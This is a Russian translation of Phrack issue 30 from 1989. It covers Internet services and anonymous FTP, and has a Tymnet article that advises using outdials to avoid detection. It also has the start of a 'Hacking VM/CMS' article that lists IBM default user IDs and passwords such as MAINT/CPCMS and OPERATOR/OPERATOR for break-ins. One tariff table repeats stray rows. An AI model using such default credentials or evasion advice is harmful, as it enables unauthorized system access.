Phrack RU issue 030

Русская версия Phrack, выпуск 030. Полный текст статей с кодом и таблицами.

Темы выпуска: культура Phrack, новости сцены, loopback, prophile и хакерские манифесты; сети, маршрутизация, TCP/IP, Cisco, телефония и телеком-инфраструктура; социальная инженерия, carding, физический доступ и практические схемы.

Материалы выпуска: Содержание:; Сетевые заметки III; Хакинг и Tymnet; Взлом VM/CMS; Почтовый шлюз DECWRL; Decnet Hackola: Remote Turist TTY (RTT); Поддельная почта в VAX/VMS; Согласованные реальности в киберпространстве; Правда о детекторах лжи; Western Union: Телекс, TWX и Служба времени; Phrack World News; Расследование в США по делу о краже у Apple 19 ноября 1989 г..

Больше крутых материалов в моём телеграм канале @grogrigs

Содержание:

Автор: Taran King и Knight Lightning

24 декабря 1989 года

Добро пожаловать в выпуск 30 Phrack Inc. Мы публикуем его буквально за несколько дней до начала нового десятилетия и с гордостью заявляем, что продолжим снабжать вас актуальной информацией и в 1990-х годах.

SummerCon 1990! Именно так. Прямо сейчас ведётся предварительное планирование, поэтому начиная с этого выпуска следите за Phrack World News — там будут все подробности! Даты уже определены, так что отметьте их в своих календарях!

В этом выпуске Phrack Inc. представлена большая статья от Goe, содержащая сведения о VM/CMS, которые при правильном использовании могут оказаться чрезвычайно полезными. Также в этом выпуске Jack T. Tab знакомит нас с версией программы Fakemail для VAX/VMS — ранее она была представлена для Unix в Phrack Inc., Том Третий, Выпуск 27, Файл #8. Кроме того, Network Miscellany III, составленный Taran King, содержит довольно обширный список FTP-сайтов, допускающих анонимный FTP — для тех из вас, кто активно исследует просторы Интернета. Все эти материалы, а также остальные статьи выпуска, обещают стать увлекательным чтением!

Есть ли у вас доступ к глобальным сетям? Вы работаете с Fidonet? А может быть, с UUCP или CompuServe? Если да — вы можете написать нам через сети по адресам, указанным ниже. Будем рады вашим сообщениям!

Taran King & Knight Lightning

```
                phrack@netsys.COM
...!netsys!phrack  (phrack@netsys.UUCP)
 phrack%netsys.COM@LLL-WINKEN.LLNL.GOV
  phrack%netsys.COM@AMES.ARC.NASA.GOV
     phrack%netsys.COM@RUTGERS.EDU
```

Сетевые заметки III

Автор: Taran King

Особая благодарность: Dark OverLord

24 декабря 1989 г.

CARL

Colorado Alliance of Research Libraries (CARL) — это онлайн-сервис, предоставляющий доступ к информации библиотек-участников, а также к избранным информационным базам данных. В число библиотек-участников входят: Auraria, CU Health Sciences Center, CU Law Library, Denver Public Library, Denver University, Denver University Law School, Colorado School of Mines, University of Northern Colorado, University of Wyoming, Government Publications, а также около пяти муниципальных колледжей, Regis College, Colorado State Publications, State Department of Education, Pikes Peak Library, система MARMOT Library System и Boulder Public Library. Информационные базы данных включают: UnCover — Article Access, «Facts», Encyclopedia, Metro Denver Facts, Info Colorado, Boston Library Consortium, Library News и New Journal Issues.

CARL доступен по Telnet по адресу PAC.CARL.ORG (192.54.81.128) и достаточно прост в использовании. База данных Encyclopedia, к сожалению, требует действующего имени пользователя в системе.

ДОСТУП К COMPUSERVE ЧЕРЕЗ INTERNET

Вы можете получить доступ к CompuServe через Telnet посредством шлюза/концентратора CTS.MERIT.EDU (35.1.1.6), введя «CompuServe» в ответ на запрос «Which Host?».

CTS.MERIT.EDU (35.1.1.6) — это терминальный сервер Cisco, установленный преимущественно для пользователей компьютерной сети Merit в Мичигане. К этой машине подключено множество последовательных линий, ведущих в обоих направлениях к вторичному коммуникационному процессору Merit (SCP) — именно он выдаёт запрос «Which Host?».

Некоторые другие сервисы Merit (например, исходящий Telnet из «Which Host?») намеренно ограничены — они работают только внутри сети Merit. Отчасти это объясняется соображениями ответственности и безопасности (чтобы случайные хакеры не могли дозвониться и ломать машины в Новой Зеландии), а отчасти — контролем доступа (порты дефицитны, сервисы стоят денег, поэтому стараются ограничить круг пользователей платящими клиентами).

CompuServe выставляет счёт за соединение через этот канал так же, как при подключении через Telenet (что весьма дорого!). Это X.25-соединение с достаточно высокой скоростью.

Если у вас есть конкретные вопросы обо всех различных сервисах, доступных через Merit — будь то через терминальный сервер CTS.MERIT.EDU (35.1.1.6), через прямое Telnet-подключение к Merit SCP или PCP, либо через коммутируемый доступ — обращайтесь по адресу merit_computer_network@UM.CC.UMICH.EDU или INFO@MERIT в Bitnet.

Подробнее о том, что доступно через CTS.MERIT.EDU, читайте в следующих выпусках Phrack в рубрике «Сетевые заметки», часть IV!

ДАТА И ВРЕМЯ

Вот один интересный трюк. Если вы работаете в системе, в которой нет команды для отображения текущего времени, подключитесь через Telnet к порту 13 любого интернет-сервера под Unix. Это позволит получить текущее время и дату, после чего соединение разрывается. Примеры таких систем: RUTGERS.EDU, MICA.BERKELEY.EDU, UCBVAX.BERKELEY.EDU и PIKES.COLORADO.EDU (например: Telnet RUTGERS.EDU 13).

FTP

File Transfer Protocol (FTP) — это способ передачи данных или текстовых файлов через Internet с удалённых сайтов. Единственная проблема состоит в том, чтобы выяснить, где именно находится нужный вам файл.

Ниже приведён список сайтов, принимающих анонимный FTP (user=anonymous, password=login). Список составлен Джоном Гранроузом (Jon Granrose) при участии ряда добровольцев, а также на основе нескольких уже существовавших списков. Если у вас есть комментарии, дополнения или исправления, отправляйте их по адресу odin@UCSCB.UCSC.EDU, odin@ucscb.UUCP или 74036.3241@COMPUSERVE.COM.

[Таблица из 183 записей — опущена]

КАТАЛОГ MELVYL ONLINE

Этот сервис предоставляется университетами системы Калифорнийского университета. Доступ осуществляется через Telnet по адресу MELVYL.UCOP.EDU (31.1.0.1). Сервис предоставляет возможности поиска информации и указывает литературные источники, в которых может встречаться введённое вами «ключевое слово». Он достаточно нагляден и не требует особых пояснений.

СЕРВЕРЫ ИМЁН

Подключившись к порту 101 определённых интернет-систем, вы соединяетесь с сервером имён данного домена. Чтобы получить список всех поддоменов главного домена, введите ALL. Пример такой системы — VIOLET.BERKELEY.EDU, однако имейте в виду: вывод команды ALL на этой конкретной системе *чрезвычайно* обширен! (Пример: Telnet VIOLET.BERKELEY.EDU 101).

ИНФОРМАЦИЯ О ПУБЛИЧНЫХ UNIX-СИСТЕМАХ

Для тех, кто хочет узнать больше о публичных Unix-системах, упомянутых в «Сетевых заметках II» в Phrack 29, приводим ещё несколько подробностей. Для получения информации о конкретных узлах, обсуждавшихся ранее, обратитесь к предыдущей статье.

Для тех, кто не имеет доступа к местным публичным Unix-системам: к Portal можно подключиться через PC-Pursuit за $25 в месяц плюс $10 плата за доступ к «portal» (в непиковое время). Для получения информации обращайтесь к Джону Литтлу (jel@CUP.PORTAL.COM).

The Big Electric Cat (dasys1.UUCP) позиционирует себя как более дешёвый по сравнению с большинством хорошо связанных публичных сайтов. Они предлагают специальные тарифы для

«корпоративных» аккаунтов, а стандартный тариф составляет $5 в месяц за аккаунт (без ограничений по времени). The Big Electric Cat предлагает расширенный набор групп USENET, неограниченную почту (!), упрощённый набор подсказок для большинства системных функций, игры и ряд других возможностей.

The World (WORLD.STD.COM), расположенный в Бруклайне, штат Массачусетс (Бостон) — это Sun4/280 под управлением Sun/OS 4.0.3 (Unix). Они предлагают электронную почту (практически в любую точку мира), USENET, ClariNet и общий доступ к Unix. Они регулярно дозваниваются до UUNET и других сайтов.

Чтобы создать аккаунт, достаточно позвонить по номеру (617)739-WRLD (9753) и войти под именем пользователя «new» (инструкции даются в приглашении). Вас попросят сообщить некоторые данные (имя, адрес и т. д.), а также номер карты MasterCard или Visa.

Тарифы The World

Всё время указано по восточному побережью США.

Первоначальная регистрация
Плата $25.00, засчитывается в счёт платы за первый месяц.

Базовые тарифы на доступ

Время	Тариф
8:00–18:00 (пн–пт)	$8,00/час
18:00–00:00	$5,00/час
00:00–8:00	$2,50/час
Выходные и праздники, 8:00–00:00	$5,00/час

Дисковая квота

«Байт» равен одному символу хранилища. Дисковый блок — 1024 байта.

00:00–8:00	$2,50/час
Выходные и праздники, 8:00–00:00	$5,00/час

Обратите внимание: плата за диск начисляется на основе запрошенной вами дисковой квоты (установленного системой ограничения на использование), а не фактического использования. Плата за дисковую квоту рассчитывается пропорционально.

Электронная почта

Почта между пользователями The World бесплатна. Первые 512 блоков почты в месяц бесплатны. Далее — $0,01 за блок почты в данном месяце (прибл. $10/МБ/месяц).

Использование CPU

В общем случае эти ресурсы не тарифицируются для стандартных аккаунтов, ориентированных на электронные коммуникации. Клиентам, желающим использовать систему для ресурсоёмких вычислений или задач с большим объёмом памяти, следует связаться с офисом для уточнения тарифов.

USENET

Локальное использование — бесплатно. Сетевое использование — в настоящее время бесплатно.

Печать и факс

Информация будет объявлена позже.

Загрузка и скачивание программного обеспечения

Дополнительная плата не взимается.

СЕТЕВАЯ ИНФОРМАЦИЯ УНИВЕРСИТЕТА КАЛИФОРНИИ В БЕРКЛИ

Это сервис, который лично я нахожу исключительно полезным. Если вам нужна сетевая информация практически о любой системе, подключитесь к сетевой информационной службе Калифорнийского университета в Беркли по адресу JADE.BERKELEY.EDU, порт 117 (пример: Telnet JADE.BERKELEY.EDU 117). После автоматического входа в систему вам будет предложено ввести команду; для получения списка команд введите «?». Справочное меню достаточно понятно. Вы можете получить таблицы сети Bitnet, числовые адреса Internet, списки почтовых ретрансляторов Internet, информацию об узлах UUCP, пути UUCP и многое другое. Это очень удобно в случаях, когда возникают трудности с отправкой почты на определённый узел с вашего узла, или когда вы пытаетесь подключиться к системе через FTP или Telnet, но ваша система её не распознаёт (например, можно получить числовой адрес с сервера и подключиться по FTP или Telnet к этому числовому адресу).

Хакинг и Tymnet

Автор: Synthecide

К некоторым крупным сетям, таким как Tymnet и Telenet, подключены буквально сотни систем. Навигация по этим сетям очень проста и, как правило, хорошо описана в их онлайн-документации. Более того, некоторые системы сами сообщают, что к ним подключено и как до этого добраться. В случае с Tymnet, дозвонившись и увидев приглашение на вход, введите "information", чтобы получить доступ к онлайн-документации.

Доступ к системам через сети осуществляется простым указанием адреса для подключения. Лучший способ узнать об адресах и о том, как работать в сети — прочитать "A Novice's Guide to Hacking (1989 Edition)" из выпуска 22, файл 4 из 12, том 2 (23 декабря 1988 года). Ряд ключевых моментов повторяется и здесь.

Попав в сеть, вы указываете NUA (сетевой адрес пользователя, Network User Address) системы, к которой хотите подключиться. NUA представляет собой строку из 15 цифр, разбитую на 3 поля: NETWORK ADDRESS (сетевой адрес), AREA PREFIX (префикс зоны) и DNIC. Каждое поле содержит 5 цифр; при необходимости поля дополняются нулями слева.

DNIC определяет, к какой сети относится адрес. Например, у Tymnet это 03106, у Telenet — 03110.

AREA PREFIX и NETWORK ADDRESS определяют точку подключения. Указав адрес нужной системы, вы получаете к ней доступ через сеть — как если бы звонили напрямую. Очевидно, это даёт дополнительный уровень безопасности при входе.

Подключившись к аутдайлу (outdial), можно ещё больше повысить свою защищённость, используя аутдайл в нужном районе для соединения с удалённой системой.

Дополнение — Доступ к Tymnet через локальные пакетные сети

Это ещё один способ получить дополнительный шаг и/или обойти другие маршруты. Приведённая ниже таблица скопирована из онлайн-информации Tymnet. Как уже говорилось, этот онлайн-ресурс — отличный источник сведений!

BELL ATLANTIC

[Таблица из ~90 записей — опущена]

```
@PDN BELL ATLANTIC - NETWORK NAME IS PUBLIC DATA NETWORK (PDN)


          (CONNECT MESSAGE)
          . _. _. _< _C _R _> _            (SYNCHRONIZES DATA SPEEDS)

          WELCOME TO THE BPA/DST PDN

          *. _T _  _< _C _R _> _           (TYMNET ADDRESS)


          131069             (ADDRESS CONFIRMATION - TYMNET DNIC)
          COM                (CONFIRMATION OF CALL SET-UP)

          -GWY 0XXXX- TYMNET: PLEASE LOG IN:  (HOST # WITHIN DASHES)
```

BELL SOUTH

[Таблица из 4 записей — опущена]

```
      @PLSK  BELLSOUTH - NETWORK NAME IS PULSELINK


               (CONNECT MESSAGE)

               . _. _. _  _< _C _R _> _            (SYNCHRONIZES DATA SPEEDS)
                                 (DOES NOT ECHO TO THE TERMINAL)
               CONNECTED
               PULSELINK

               1 _3 _1 _0 _6 _              (TYMNET ADDRESS)
                                 (DOES NOT ECHO TO THE TERMINAL)

               PULSELINK: CALL CONNECTED TO 1 3106

               -GWY 0XXXX- TYMNET: PLEASE LOG IN:  (HOST # WITHIN DASHES)
```

PACIFIC BELL

[Таблица из 16 записей — опущена]

```
      @PPS   PACIFIC BELL - NETWORK NAME IS PUBLIC PACKET SWITCHING (PPS)

               (CONNECT MESSAGE)

               . _. _. _< _C _R _             (SYNCHRONIZES DATA SPEEDS)>
                                 (DOES NOT ECHO TO THE TERMINAL)

               ONLINE 1200
               WELCOME TO PPS:  415-XXX-XXXX
               1 _3 _1 _0 _6 _9 _             (TYMNET ADDRESS)
                                 (DOES NOT ECHO UNTIL TYMNET RESPONDS)

            -GWY 0XXXX- TYMNET: PLEASE LOG IN:  (HOST # WITHIN DASHES)
```

SOUTHWESTERN BELL

[Таблица из ~30 записей — опущена]

```
     @MRLK - SOUTHWESTERN BELL TELEPHONE- NETWORK NAME IS MICROLINK II(R)

               (CONNECT MESSAGE)
               (PLEASE TYPE YOUR TERMINAL IDENTIFIER)

               A _                  (YOUR TERMINAL IDENTIFIER)

               WELCOME TO MICROLINK II
               -XXXX:01-030-
               PLEASE LOG IN:
               .T < _C _R _> _            (USERNAME TO ACCESS TYMNET)


               HOST: CALL CONNECTED

               -GWY 0XXXX- TYMNET: PLEASE LOG IN:
```

SOUTHERN NEW ENGLAND

[Таблица из 22 записей — опущена]

```
@CONNNET - SOUTHERN NEW ENGLAND TELEPHONE - NETWORK NAME IN CONNNET

 (CONNECT MESSAGE)

  H_ H_ <_ C_ R_>        (SYNCHRONIZES DATA SPEEDS)
                    (DOES NOT ECHO TO THE TERMINAL)
  CONNNET

 ._ T_ <_ C_ R_>_         (MUST BE CAPITAL LETTERS)

  26-SEP-88   18:33          (DATA)
  031069                     (ADDRESS CONFIRMATION)
  COM                        (CONFIRMATION OF CALL SET-UP)

  -GWY OXXXX-TYMNET: PLEASE LOG IN:
```

Стоит отдельно упомянуть: недавно вышедшая книга «Яйцо кукушки» ("The Cuckoo's Egg") содержит интересные сведения — пусть и в форме повествования — о хакере, работавшем через Tymnet. Помните, что он занимался слишком крупными делами, что и повлекло его разоблачение. Если вы держитесь в тени, сети могут стать удобным способом доступа.

Если вам удастся найти через Tymnet систему, подключённую к Internet, на которую можно войти, — это большая удача.

Взлом VM/CMS

Автор: Goe

Этот файл написан Goe (мой псевдоним). Любые комментарии, критика и исправления приветствуются. Любой человек с хорошими знаниями может его дополнить.

Тема статьи — IBM VM/SP под управлением CMS с использованием DIRMAINT. Не знаю, применимо ли это к MVS/TSO или VSE.

Первая таблица содержит оригинальные идентификаторы и пароли по умолчанию от IBM Corp.

Вторая таблица содержит те идентификаторы и пароли по умолчанию, которые IBM адаптировала для своих клиентов.

Таблица 1: Оригинальный системный каталог 3380 (IBM по умолчанию)

```
*************************************************************
*  3380      SYSTEM DIRECTORY                                *
*************************************************************
*                                                           *
*      The addresses 123, 124, and 125 are virtual ad-      *
*      dresses.  The address 123 is critical since it is    *
*      used in DMKSYS, the directory, and the service en-   *
*      vironments of the Interactive Productivity Facil-    *
*      ity.  Do not change this address.  If you still want *
*      to change it, remember it must be changed in         *
*      DMKSYS, all service environments, the 'DIRECTORY'    *
*      statement below, and in the 'MDISK' statements       *
*      found under the userid  'MAINT'.                     *
*                                                           *
*      NOTE:  Remember these are only virtual addresses     *
*      not real addresses, so there is no need to change    *
*      them to match your hardware addresses.  More in-     *
*      formation is contained in the system Installation    *
*      Guide.                                               *
*                                                           *
*************************************************************
*
DIRECTORY 123  3380  VMSRES
*
*************************************************************
*      3380  SYSTEM RESERVED AREAS (NOT FOR MINIDISKS)      *
*************************************************************
*
USER $ALLOC$  NOLOG
 MDISK A01 3380 000 001 VMSRES R
 MDISK B01 3380 000 001 VMPK01 R
 MDISK E01 3380 000 001 VMPK04 R
 MDISK F11 3380 000 001 PROFPK R
 MDISK F21 3380 000 001 SQLPK  R
*
USER $TEMP$   NOLOG
 MDISK A09 3380 272 228 VMSRES R
 MDISK D09 3380 277 258 VMPK01
*
USER $TDISK$ NOLOG
 MDISK A08 3380 585 091 VMSRES R
*
USER $CPNUC$ NOLOG
```

```
 MDISK A02 3380 001 005 VMSRES R
*
USER $DIRECT$ NOLOG
 MDISK A03 3380 500 002 VMSRES R
*
USER $SAVSYS$ NOLOG
 MDISK A04 3380 006 011 VMSRES R
 MDISK B04 3380 012 056 VMPK01 R
*
USER $SYSERR$ NOLOG
 MDISK A06 3380 019 002 VMSRES R
*
USER $SYSCKP$ NOLOG
 MDISK A05 3380 271 001 VMSRES R
*
USER $SYSWRM$ NOLOG
 MDISK A07 3380 017 002 VMSRES R
*
*****************************************************************
*             SYSTEM RELATED USERIDS                            *
*****************************************************************
*
USER AUTOLOG1 NOLOG 512K 1M ABCDEG
 ACCOUNT 2 SYSTEM
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 MDISK 191 3380 093 001 VMPK01 MR RAUTOLOG WAUTOLOG MAUTOLOG
*
USER CMSBATCH NOLOG 1M 2M G
 ACCOUNT 3 SYSTEM
 OPTION ACCT
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 MDISK 195 3380 068 002 VMPK01 MR RBATCH   WBATCH   MBATCH
*
USER CMSUSER NOLOG 1M 3M G
 ACCOUNT 101 USER01
 IPL CMS
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 MDISK 191 3380 089 003 VMPK01 MR RCMS     WCMS     MCMS
*
USER EREP NOLOG 768K 2M FG
 ACCOUNT EREP IBMCE
 IPL CMS
 CONSOLE 01F 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 LINK MAINT 201 192 RR
 MDISK 191 3380 027 001 VMSRES WR READ     WRITE
*
USER GCS  NOLOG  5M 6M  G
```

```
 ACCOUNT GCS RECVM
 OPTION ECMODE DIAG98
 IPL GCS PARM AUTOLOG
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 595 595 RR
 LINK MAINT 59E 59E RR
 MDISK 191 3380 677 005 VMPK01 MR RGCS     WGCS     MGCS
*
USER IVPM1 NOLOG 3M   16M G
 ACCOUNT ACT4 IVPM1
 CONSOLE 009 3210
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 193 193 RR
 LINK MAINT 194 194 RR
 LINK MAINT 19D 19D RR
 MDISK 191 3380 883 001 VMSRES WR READ     WRITE
*
USER IVPM2 NOLOG  3M   4M G
 ACCOUNT ACT5 IVPM2
 CONSOLE 009 3210
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 193 193 RR
 LINK MAINT 194 194 RR
 LINK MAINT 19D 19D RR
 MDISK 191 3380 884 001 VMSRES WR READ     WRITE
*
USER MAINT CPCMS 16M 16M ABCDEFG
 ACCOUNT 1 SYSPROG
 OPTION ECMODE DIAG98
 IPL 190
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 MDISK 123 3380 000 885 VMSRES MW RSYSRES  WSYSRES  MSYSRES
 MDISK 124 3380 000 885 VMPK01 MW RSYSRES  WSYSRES  MSYSRES
 MDISK 127 3380 000 885 VMPK04 MW RSYSRES  WSYSRES  MSYSRES
 MDISK 129 3380 000 885 PROFPK MW RSYSRES  WSYSRES  MSYSRES
 MDISK 130 3380 000 885 SQLPK  MW RSYSRES  WSYSRES  MSYSRES
 MDISK 19D 3380 229 048 VMPK01 MW ALL      WMAINT   MMAINT
 MDISK 190 3380 502 037 VMSRES MW ALL      WMAINT   MMAINT
 MDISK 191 3380 144 010 VMSRES MW RMAINT   WMAINT   MMAINT
 MDISK 193 3380 117 027 VMSRES MW RMAINT   WMAINT   MMAINT
 MDISK 194 3380 044 027 VMSRES MW RMAINT   WMAINT   MMAINT
 MDISK 196 3380 028 016 VMSRES MW RMAINT   WMAINT   MMAINT
 MDISK 201 3380 767 023 VMSRES MW RMAINT   WMAINT   MMAINT
 MDISK 293 3380 790 027 VMSRES MW RCMSAUX  WCMSAUX  MCMSAUX
 MDISK 294 3380 862 021 VMSRES MW RCPAUX   WCPAUX   MCPAUX
 MDISK 295 3380 211 014 VMSRES MW RUSRMOD  WUSRMOD  MUSRMOD
 MDISK 296 3380 070 019 VMPK01 MW RCPAUX   WCPAUX   MCPAUX
 MDISK 319 3380 021 006 VMSRES MW ALL      WMAINT   MMAINT
 MDISK 393 3380 353 063 VMPK04 WR RMAINT   WMAINT
 MDISK 394 3380 416 076 VMPK04 WR RMAINT   WMAINT
 MDISK 396 3380 499 034 VMPK04 WR RMAINT   WMAINT
 MDISK 492 3380 664 011 VMPK01 MW RTSFOBJ  WTSFOBJ  MTSFOBJ
 MDISK 494 3380 864 011 VMPK01 MW RTSFAUX  WTSFAUX  MTSFAUX
 MDISK 496 3380 092 001 VMPK01 MW RIPCX    WIPCSX   MIPSX
 MDISK 497 3380 492 007 VMPK04 MW RMAINT   WMAINT
 MDISK 59E 3380 875 010 VMPK01 MW ALL      WMAINT   MMAINT
 MDISK 595 3380 682 031 VMPK01 MW RMAINT   WMAINT   MMAINT
```

```
 MDISK 596 3380 713 021 VMPK01 MW RGCSAUX  WGCSAUX  MGCSAUX
*
USER OLTSEP NOLOG 1M 1M FG
 ACCOUNT OLTSEP IBMCE
 OPTION REALTIMER ECMODE
 IPL 5FF
 CONSOLE 01F 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 19D 19D RR
 MDISK 5FF 3380 000 885 CEPACK MR READ     WRITE
*
USER OPERATNS NOLOG 1M  2M BCEG
 ACCOUNT 13 SYSPROG
 IPL CMS
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 MDISK 191 3380 154 001 VMSRES MR RIPCS    WIPCS    MIPCS
 MDISK 193 3380 201 008 VMSRES MR RIPCS    WIPCS    MIPCS
*
USER OPERATOR OPERATOR  3M 16M ABCDEFG
 ACCOUNT 2 OPERATOR
 CONSOLE 009 3215 T MAINT
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 MDISK 191 3380 209 002 VMSRES MR ROPER    WOPER    MOPER
*
USER SYSDUMP1 NOLOG 1M 1M BG
 ACCOUNT 16 SYSTEM
 IPL CMS
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 MDISK 123 3380 000 885 VMSRES RR
 MDISK 124 3380 000 885 VMPK01 RR
 MDISK 127 3380 000 885 VMPK04 RR
 MDISK 129 3380 000 885 PROFPK RR
 MDISK 130 3380 000 885 SQLPK  RR
*
USER TSAFVM NOLOG 4M 8M G
 ACCOUNT 1 xxxxxx
 OPTION MAXCONN 256 BMX ECMODE COMSRV ACCT CONCEAL REALTIMER
 IUCV ALLOW
 IUCV *CRM
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215 A OPERATOR
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
 LINK MAINT 492 192 RR
 LINK MAINT 494 494 RR
 MDISK 191 3380 675 002 VMPK01 MR
DEDICATE 300 4A0
```

Таблица 2: Системный каталог 3380 с пользовательскими настройками IBM (адаптированный для клиентов)

```
*************************************************************
*  3380      SYSTEM DIRECTORY                                *
*************************************************************
*                                                           *
*      The virtual address 123 is critical since it is      *
*      used in DMKSYS, the directory, and the service en-   *
*      vironments of the Interactive Productivity Facil-    *
*      ity.  Do not change this address.  If you still want *
*      to change it, remember it must be changed in         *
*      DMKSYS, all service environments, the 'DIRECTORY'    *
*      statement below, and in the 'MDISK' statements       *
*      found under the userid  'MAINT'.                     *
*                                                           *
*      NOTE:  Remember these are only virtual addresses     *
*      not real addresses, so there is no need to change    *
*      them to match your hardware addresses.  More in-     *
*      formation is contained in the system Installation    *
*      Guide.                                               *
*                                                           *
*************************************************************
*
DIRECTORY 123 3380 VMSRES
*
*************************************************************
*    EXPRESS STANDARD PROFILE FOR GENERAL PURPOSE USERIDS   *
*************************************************************
*
PROFILE EXPPROF
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 19E 19E RR
*
*************************************************************
*      3380  SYSTEM RESERVED AREAS (NOT FOR MINIDISKS)      *
*************************************************************
*
USER $ALLOC$  NOLOG
 MDISK A01 3380 000 001 VMSRES R                          03131808
 MDISK A02 3380 000 001 VMGCS1 R                          03131808
 MDISK A05 3380 000 001 VMPK01 R                          03131808
 MDISK A06 3380 000 001 VMSTGE R                          03131808
 MDISK A07 3380 000 001 PROFPK R                          03131808
 MDISK A08 3380 000 001 SQLPK  R                          03131808
 MDISK A09 3380 000 001 VMPK02 R                          03131808
 MDISK A0A 3380 000 001 EDMD01 R                          03131808
*
USER $TEMP$   NOLOG
 MDISK B01 3380 392 100 VMSRES R                          03131808
 MDISK B02 3380 392 100 VMPK01 R                          03131808
*
USER $TDISK$ NOLOG
 MDISK C01 3380 358 033 VMSRES R                          03131808
 MDISK C02 3380 492 022 VMPK01 R                          03131808
*
USER $CPNUC$ NOLOG
 MDISK D01 3380 001 005 VMSRES R                          03131808
*
```

```
USER $DIRECT$ NOLOG
 MDISK E01 3380 492 002 VMSRES R                                        03131808
*
USER $SAVSYS$ NOLOG
 MDISK F01 3380 006 011 VMSRES R                                        03131808
 MDISK F02 3380 012 060 VMPK01 R                                        03131808
*
USER $SYSERR$ NOLOG
 MDISK F03 3380 019 002 VMSRES R                                        03131808
*
USER $SYSCKP$ NOLOG
 MDISK F04 3380 391 001 VMSRES R                                        03131808
*
USER $SYSWRM$ NOLOG
 MDISK F05 3380 017 002 VMSRES R                                        03131808
*
*****************************************************************
*             SYSTEM RELATED USERIDS                            *
*****************************************************************
*
USER AUTOLOG1 AUTOLOG1 512K 1M ABCDEG
INCLUDE EXPPROF
 ACCOUNT 2 SYSTEM
 MDISK 191 3380 094 001 VMPK01 MR RAUTOLOG WAUTOLOG MAUTOLOG            03131808
*
USER CMSBATCH CMSBATCH 1M 2M G
 ACCOUNT 3 SYSTEM
 OPTION ACCT
 IPL CMS PARM AUTOCR
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 MDISK 195 3380 095 002 VMPK01 MR RBATCH   WBATCH   MBATCH              03131808
*
USER CMSUSER CMSUSER 1M 3M G
INCLUDE EXPPROF
 ACCOUNT 101 USER01
 MDISK 191 3380 091 003 VMPK01 MR RCMS     WCMS     MCMS                03131808
*
USER EREP EREP 768K 2M FG
INCLUDE EXPPROF
 ACCOUNT EREP IBMCE
 LINK MAINT 201 192 RR
 MDISK 191 3380 021 001 VMSRES WR READ     WRITE                        03131808
*
USER GCS  GCS  5M 6M  G
 ACCOUNT GCS RECVM
 OPTION ECMODE DIAG98
 IPL GCS PARM AUTOLOG
 CONSOLE 009 3215
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH  A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 19D 19D RR
 LINK MAINT 595 595 RR
 LINK MAINT 59E 59E RR
 MDISK 191 3380 514 005 VMPK01 MR RGCS     WGCS     MGCS                03131808
*
USER IVPM1 IVPM1 3M   16M G
 ACCOUNT ACT4 IVPM1
 CONSOLE 009 3210
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 193 193 RR
 LINK MAINT 194 194 RR
 LINK MAINT 19D 19D RR
```

```
 MDISK 191 3380 868 001 VMSRES WR READ     WRITE                        03131808
*
USER IVPM2 IVPM2  3M   4M G
 ACCOUNT ACT5 IVPM2
 CONSOLE 009 3210
 SPOOL 00C 2540 READER *
 SPOOL 00D 2540 PUNCH A
 SPOOL 00E 1403 A
 LINK MAINT 190 190 RR
 LINK MAINT 193 193 RR
 LINK MAINT 194 194 RR
 LINK MAINT 19D 19D RR
 MDISK 191 3380 869 001 VMSRES WR READ     WRITE                        03131808
*
USER MAINT CPCMS 6M 16M ABCDEFG
 ACCOUNT 1 SYSPROG
 OPTION ECMODE DIAG98
 IPL CMS
 IUCV *CCS P M 10
